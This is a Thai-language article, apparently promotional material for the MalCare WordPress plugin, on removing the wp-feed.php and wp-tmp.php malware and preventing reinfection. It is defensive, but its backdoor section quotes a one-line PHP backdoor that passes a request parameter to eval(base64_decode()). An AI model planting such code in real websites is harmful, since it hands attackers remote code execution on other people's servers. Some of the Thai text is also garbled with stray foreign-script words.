เครื่องมือสแกนมัลแวร์แจ้งเตือน "เว็บไซต์ของคุณโดนแฮก" แต่มองดูปกติดี?
ผู้เยี่ยมชมร้องเรียนว่ามีโฆษณาสแปมบนเว็บ WordPress แต่มองไม่เห็น?
โอกาสมากที่เว็บของคุณ โดนแฮกแล้ว
แฮกเกอร์มี วิธีลับซ่อนการโจมตี จากเจ้าของเว็บ เพื่อให้ไม่ถูกตรวจจับ และขโมยทรัพยากรเว็บนานที่สุด
wp-feed.php เป็นหนึ่งในมัลแวร์ที่ซ่อนตัวเก่งที่สุด
ซ่อนจากเจ้าของเว็บ แสดงโฆษณาสินค้าผิดกฎหมาย ยาเสพติด เนื้อหาโป๊ ให้ผู้เยี่ยมชมเห็น
แม้คุณตรวจพบ พบทุกจุดที่มัลแวร์แพร่กระจาย ก็ยาก และบางครั้งเป็นไปไม่ได้ การลบมัลแวร์ซับซ้อนและยาก หากลบได้ 8 ใน 10 กรณี มัลแวร์กลับมาใหม่
สรุป: ลบมัลแวร์ wp-feed.php ออกจาก WordPress ยากมาก
โชคดีที่เราเคยจัดการมัลแวร์นี้เยอะมาก 10 ปีที่ผ่านมา เราไม่ได้แค่ลบ wp-feed จากหลายแสนเว็บ WordPress สำเร็จ แต่ยังป้องกันการติดไวรัสซ้ำได้
อย่ากังวล คุณอยู่ในมือดี
บทความนี้จะสอน:
- wp-feed.php มัลแวร์ทำงานอย่างไร และส่งผลต่อเว็บอย่างไร
- วิธีลบออกจากเว็บไซต์
- วิธีป้องกันการติดไวรัสซ้ำในอนาคต
สรุปสั้น (TL;DR): เพื่อลบการติดไวรัส wp-feed.php ติดตั้ง WordPress Malware Removal (MalCare) และรัน Auto-Clean ปลั๊กอินยังป้องกันการติดไวรัสซ้ำโดย: ลบ Backdoor ที่ทำให้ติดไวรัสซ้ำ และ บล็อกトラฟฟิกอันตรายด้วยไฟร์วอลล์และป้องกันล็อกอิน
wp-feed.php และ wp-tmp.php คืออะไร? (สาเหตุ, อาการ, และการติดไวรัสซ้ำ)
สรุปสั้น: WP-Feed เป็นมัลแวร์ที่แสดงโฆษณาอันตรายบนเว็บไซต์ เป้าหมาย: ทำให้ผู้เยี่ยมชมคลิกโฆษณาและ Redirect ไปเว็บอันตราย
คุณคงสงสัยว่า:
> เว็บของผมติดไวรัสยังไง?
สาเหตุหลัก: ใช้ ปลั๊กอินหรือธีม Nulled (พีรียัด/แตก)
ซอฟต์แวร์ Nulled น่าสนใจเพราะให้ฟีเจอร์พรีเมียมฟรี หลายคนเชื่อว่าแจกจากความเมตตา
ความจริงมักตรงข้าม: Nulled แจกเพื่อให้แฮกเกอร์เข้าถึงเว็บคุณได้ง่าย
ปลั๊กอิน/ธีม Nulled เต็มไปด้วยมัลแวร์ ติดตั้ง = เปิดประตูให้แฮกเกอร์
นอกจาก Nulled ปลั๊กอินและธีมที่ล้าสมัย (Outdated) ก็อาจมีช่องโหว่ แฮกเกอร์ใช้ช่องโหว่เข้าเว็บ
พวกเขายังใช้ ชื่อผู้ใช้และรหัสผ่านอ่อนแอ เช่น "admin" และ "p@ssword" Credentials อ่อนแอ = ทายง่าย แฮกเกอร์ทายชื่อผู้ใช้/รหัสผ่าน ถูกต้อง = ฝัง wp-feed.php มัลแวร์เข้าเว็บโดยตรง
> ทำไมแฮกเกอร์ติดมัลแวร์ wp-feed.php?
เป้าหมาย: ขโมยผู้เยี่ยมชม หลอกให้คลิกซื้อของ/บริการปลอม เพื่อสร้างรายได้
สิ่งที่น่าประหลาดใจ: พวกเขาทำได้โดยเจ้าของเว็บ ไม่รู้สึกสนิทเลย
นั่นนำไปสู่คำถาม:
> ทำไมยากที่จะสังเกตอาการติดไวรัส?
เมื่อแฮกเกอร์เข้าเว็บได้ พวกเขาฝัง 2 ไฟล์ (wp-feed.php & wp-tmp.php) ลงในโฟลเดอร์ wp-includes
wp-includes = ส่วนหนึ่งของ WordPress Core ที่ตั้งอยู่ธีมของเว็บ
ไฟล์ WP Feed เริ่มติดเชื้อไฟล์ WordPress อื่นๆ โดยเฉพาะ functions.php (ส่วนของธีมที่ใช้งานอยู่)

จากภายใน functions.php แฮกเกอร์แสดงโฆษณา Popup อันตรายบนเว็บ WordPress
ส่วนที่น่ากลัวที่สุด: โฆษณาแสดงเฉพาะผู้เยี่ยมชมใหม่ (New Visitors) เท่านั้น ไม่ใช่ผู้เยี่ยมชมซ้ำ มัลแวร์บันทึกผู้เยี่ยมชม เพื่อแสดงโฆษณาเฉพาะคนใหม่ วิธีฉลาดป้องกันการตรวจจับ

ดังนั้น คุณ بصفตเป็นผู้เยี่ยมชมประจำของเว็บตัวเอง ไม่มีโอกาสสังเกตอาการโดนแฮกเลย
วิธีทำความสะอาดมัลแวร์ wp-feed.php
มี 2 วิธีลบมัลแวร์:
1. ใช้ปลั๊กอิน (ง่าย)
2. ทำด้วยตนเอง (ยาก)
ลองดูแต่ละวิธี
1. ลบมัลแวร์ WP-Feed.php ด้วยปลั๊กอิน (วิธีง่าย)
บางคนอาจมีปลั๊กอินความปลอดภัยติดตั้งอยู่แล้ว น่าจะเป็นปลั๊กอินนี้ที่แจ้งเตือนไฟล์อันตราย: wp-includes/wp-feed.php และ wp-includes/wp-tmp.php
ปลั๊กอินความปลอดภัยส่วนใหญ่มีบริการลบมัลแวร์ แต่น้อยมากที่ทำได้เร็วและมีประสิทธิภาพเท่า MalCare Security
- MalCare ทำความสะอาดเว็บภายใต้ 60 วินาที ไม่ต้องเปิด Ticket ไม่ต้องคิว ไม่ต้องส่งข้อมูลเข้าถึงเว็บให้ฝ่ายที่ 3
- ปลั๊กอินสแกนลุกลงทุกมุมหามัลแวร์ซ่อนอยู่ หา ทุกสคริปต์อันตราย บนเว็บ
- ใช้วิธีไม่ตามปกติ ตรวจจับมัลแวร์ใหม่และซ่อนลึก วิเคราะห์พฤติกรรมโค้ดระบุเจตนาอันตราย ทำให้ ไม่ติดธงโค้ดดีว่าเป็นมัลแวร์
- ทำทั้งหมด ภายในไม่กี่นาที
มาล้างมัลแวร์ wp-feed.php ด้วย MalCare กัน
- ขั้นตอน 1: ติดตั้งและเปิดใช้งาน MalCare Security บนเว็บไซต์ WordPress
- ขั้นตอน 2: จากเมนูแดชบอร์ด เลือก MalCare ใส่ อีเมล กด Secure Site Now

- ขั้นตอน 3: หน้าถัดไป จะขอ ตั้งรหัสผ่าน แล้ว ใส่ URL เว็บ MalCare เริ่มสแกนทันที เป้าหมาย: หา ทุกอินสแตนซ์ของโค้ดอันตราย รวมถึง wp-feed.php, wp-tmp.php และโค้ดอันตรายซ่อนใน functions.php รวมถึง ทุก Backdoor เพื่อป้องกันการติดไวรัสซ้ำ

พบสคริปต์อันตราย = แจ้งเตือน
ขั้นตอนต่อไป: ทำความสะอาดเว็บ

โปรดทราบ: MalCare Malware Removal เป็นฟีเจอร์พรีเมียม เป็นปลั๊กอิน เพียงตัวเดียว ที่ลบมัลแวร์ทันที (Instant) ราคา $99/ปี ทำความสะอาด 1 เว็บ ไม่จำกัดครั้ง ได้การป้องกันดีที่สุด ดูรายละเอียด MalCare Pricing
- ขั้นตอน 4: เพื่อลบ wp-feed.php ทุกเครื่องหมาย กดปุ่ม Auto-Clean MalCare จะทำความสะอาดทันที

เสร็จแล้วครับ นี่คือวิธีทำความสะอาดเว็บด้วยปลั๊กอิน
2. ลบมัลแวร์ WP-Feed.php ด้วยตนเอง (วิธียาก)
ลบด้วยตนเอง ค่อนข้างยาก เพราะมัลแวร์ประเภทนี้มี "ชิ้นส่วนเคลื่อนที่" (Moving pieces) เยอะ
- แฮกเกอร์อัปโหลด 2 ไฟล์อันตราย: wp-feed.php & wp-tmp.php ต้องลบก่อน ส่วนนี้ง่ายที่สุด
- มัลแวร์แพร่ไปไฟล์ WordPress อื่นๆ รวม functions.php ส่วนนี้ยาก เพราะใครจะรู้ว่ามัลแวร์แพร่ไปไหนบ้าง
- ใช้เวลาหลายชั่วโมงหาโค้ดอันตรายทั้งหมด
- ยากระบุโค้ดอันตราย เพราะแปรรูปดี มองเหมือนโค้ดปกติ
- โค้ดอันตรายที่รู้จัก เช่น
eval(base64_decode)อาจเป็นส่วนของปลั๊กอินที่ถูกต้อง ใช้ไม่ได้เจตนาร้าย ลบโค้ด = ปลั๊กอินพัง/เว็บพัง - โอกาสสูงที่จะพลาดโค้ดบางส่วน นำไปสู่การติดไวรัสซ้ำ
การลบด้วยตนเอง ไม่มีประสิทธิภาพเลย
แต่หากยังอยากลอง สำรองข้อมูลเว็บไซต์ให้ครบถ้วนก่อน หากลบผิดทำให้เว็บพัง สามารถกู้คืนได้เร็ว
รายการบริการสำรองข้อมูลที่ดี: ที่นี่
บทความช่วยลบมัลแวร์ด้วยตนเอง: WordPress hacked ข้ามไปส่วน "How to Clean a Hacked WordPress Website Manually"
เว็บไซต์ของคุณสะอาดแล้ว แต่ยังไกลจากปลอดภัย แฮกเกอร์ยังโจมตีและพยายามติดไวรัสได้ ต้องป้องกันไม่ให้ติดไวรัสอีก แต่ก่อนจะไปถึงนั้น มาดูผลกระทบของมัลแวร์ wp-feed.php & wp-tmp.php
ผลกระทบของการติดมัลแวร์ wp-temp.php
มัลแวร์ wp-feed.php & wp-tmp.php สร้างผลกระทบร้ายแรงต่อเว็บไซต์
เว็บที่ติด wp-temp.php มักเจอผลลัพธ์ดังนี้:
- สังเกต Bounce Rate เพิ่มขึ้น และ เวลาที่ผู้เยี่ยมชมอยู่บนเว็บลดลง
- โฆษณา Popup ทำให้ เว็บหนักและช้าจริงๆ
- ไม่มีใครชอบเว็บช้า ผู้เยี่ยมชมกด Back ก่อนหน้าเว็บโหลดเสร็จ = เอฟเฟกต์โดมิโน่
- เครื่องมือค้นหาสังเกตผู้คนออกจากเว็บเร็ว = สรุปว่าเว็บไม่มีสิ่งที่ผู้ใช้ค้นหา = อันดับค้นหาตก
- ความพยายาม, เวลา, เงิน ที่ลงทุนเพื่อ Rank SERP สูง = ไปเปล่า

- เว็บโดนแฮก = Google Blacklist, โฮสติ้งระงับ, Google Ads ระงับ ทั้งหมดนำไปสู่トラฟฟิกลดเพิ่ม
- ทำความสะอาดเว็บโดนแฮก = ค่าใช้จ่ายสูง หากไม่ใช้เครื่องมือที่เหมาะสม
ข่าวดีคือ คุณรู้ว่าเว็บโดนแฮก แล้วคุณสามารถทำความสะอาดและหยุดผลกระทบได้
วิธีป้องกันเว็บไซต์จากมัลแวร์ wp-feed.php ในอนาคต
หลายคนพยายามลบ wp-feed.php เอง แต่พบว่ามัลแวร์กลับมาใหม่ซ้ำ
เพราะมี Backdoor ติดตั้งอยู่บนเว็บ Backdoor ส่วนใหญ่แปรรูปดีจนผ่านเป็นโค้ดปกติได้ แม้นักพัฒนามือใหม่
เราอธิบายไปแล้วว่าแฮกเกอร์ฝัง 2 ไฟล์: wp-feed.php & wp-tmp.php ไฟล์ wp-tmp.php ทำหน้าที่เป็น Backdoor หากเปิดดู จะพบสคริปต์แบบนี้:
$p = $REQUEST$#91;”m”]; eval(base64_decode ($p));
ข่าวดีคือ คุณสามารถป้องกันเว็บจากการโจมตีในอนาคตได้ ด้วยมาตรการต่อไปนี้:
1. ลบซอฟต์แวร์ Nulled และห้ามใช้
หากใช้ปลั๊กอิน/ธีม Nulled บนเว็บ ลบทันที
แฮกเกอร์เข้าเว็บครั้งแรกผ่าน Nulled ไม่ว่าจะทำความสะอาดดีแค่ไหน หากไม่ลบ Nulled แฮกเกอร์จะเข้าเว็บและฝังมัลแวร์ใหม่
หากอนุญาตให้ผู้ใช้ติดตั้งปลั๊กอิน/ธีม ให้รับรองว่าพวกเขา ไม่ใช้ Nulled
แท้จริงแล้ว ป้องกันการติดตั้งปลั๊กอิน/ธีมทั้งหมด ด้วย MalCare ดีกว่า
เข้าสู่แดชบอร์ด MalCare เลือกเว็บ คลิก Apply Hardening เปิด Block Plugin/Theme Installation

2. แข็งแกร่งความปลอดภัยเว็บไซต์ (Hardening)
ป้องกันแฮกเกอร์ฝังไฟล์อันตราย เช่น wp-feed.php ลงในโฟลเดอร์ WordPress ด้วย การเปลี่ยนสิทธิ์ไฟล์ (File Permissions)
File Permissions = กฎกำหนดว่าใครเข้าถึง/แก้ไขไฟล์ไหนได้ สามารถบล็อกไม่ให้แก้ไขโฟลเดอร์ wp-includes ได้ เข้าใจ File Permissions ลึกขึ้น: WordPress File Permissions

ยังสามารถบล็อกแฮกเกอร์แก้ไขธีมได้ด้วย การปิด File Editor จะป้องกันไม่ให้ฝังโค้ดโฆษณา Popup ทำได้ด้วยตนเอง แต่เสี่ยง ไม่แนะนำ
หากติดตั้ง MalCare อยู่แล้ว กดปุ่มเดียว ปิด File Editor ได้

อ่านเพิ่ม: WordPress Hardening
3. อัปเดตเว็บไซต์ให้ทันสมัย
เหมือนซอฟต์แวร์อื่นๆ ปลั๊กอิน/ธีม WordPress พัฒนาช่องโหว่ได้ เมื่อนักพัฒนารู้ พวกเขาปล่อยแพทช์ผ่านอัปเดต
หากเลื่อนอัปเดต = เว็บเสี่ยง
แฮกเกอร์เก่งในการใช้ช่องโหว่ พวกเขาคอยหาเว็บที่มีช่องโหว่ เข้าเว็บและฝังมัลแวร์
ดังนั้น อย่าล่าช้าอัปเดต
อ่านเพิ่ม: WordPress Security Updates และ How to Update WordPress
4. บังคับใช้ Credentials แข็งแกร่ง (Strong Credentials)
ทางเข้าสู่วงเว็บง่ายที่สุด = หน้าล็อกอิน
แฮกเกอร์แค่ทาย Credentials สำเร็จ บอททายได้หลายร้อยชุดในไม่กี่นาที หากคุณหรือทีมใช้ Credentials ง่าย เช่น "admin" และ "password123" บอทโจมตีสำเร็จใน 2 วินาที = Brute Force Attack
สำคัญมาก: ทุกผู้ใช้เว็บต้องใช้ Username ที่ไม่ซ้ำ และ Password แข็งแกร่ง
ยังสามารถทำมากกว่านี้: มาตรการป้องกันหน้าล็อกอินหลายอย่าง ดู WordPress Login Security Measures
5. ใช้ไฟร์วอลล์ (Firewall)
ดีไหมถ้าป้องกันแฮกเกอร์ถึงเว็บได้ตั้งแต่แรก?
ไฟร์วอลล์ = เครื่องมือที่คุณต้องการ
มัน สอบสวนトラฟฟิก ที่อยากเข้าถึงเว็บ หากตรวจพบว่ามาจาก IP อันตราย = บล็อกทันที
เช่นนี้ กรองแฮกเกอร์และบอทออกไป
รายการ ไฟร์วอลล์ WordPress ที่ดีที่สุด สำหรับเปิดใช้งานบนเว็บ
แต่หากใช้ MalCare อยู่แล้ว = ไฟร์วอลล์ทำงานอยู่แล้ว

ต่อไปควรทำอะไร?
เราแสดงวิธีทำความสะอาดเว็บ และป้องกันไม่ให้โดนแฮกอีก
คำแนะนำที่เราคิดว่าจะช่วยเว็บคุณหลุดพ้นจากภัยพิบัติหลายอย่าง: สำรองข้อมูลเว็บไซต์เป็นประจำ
ไม่ว่าจะเว็บโยนข้อผิดพลาดหรือพัง Backup ช่วยแก้ชั่วคราวได้เร็ว
หากสมัคร MalCare Security สามารถเพิ่ม Add-on Backup ได้ในค่าใช้จ่ายเพิ่มเติม ติดต่อเราเพื่อรายละเอียด
ลองใช้ MalCare Security Plugin!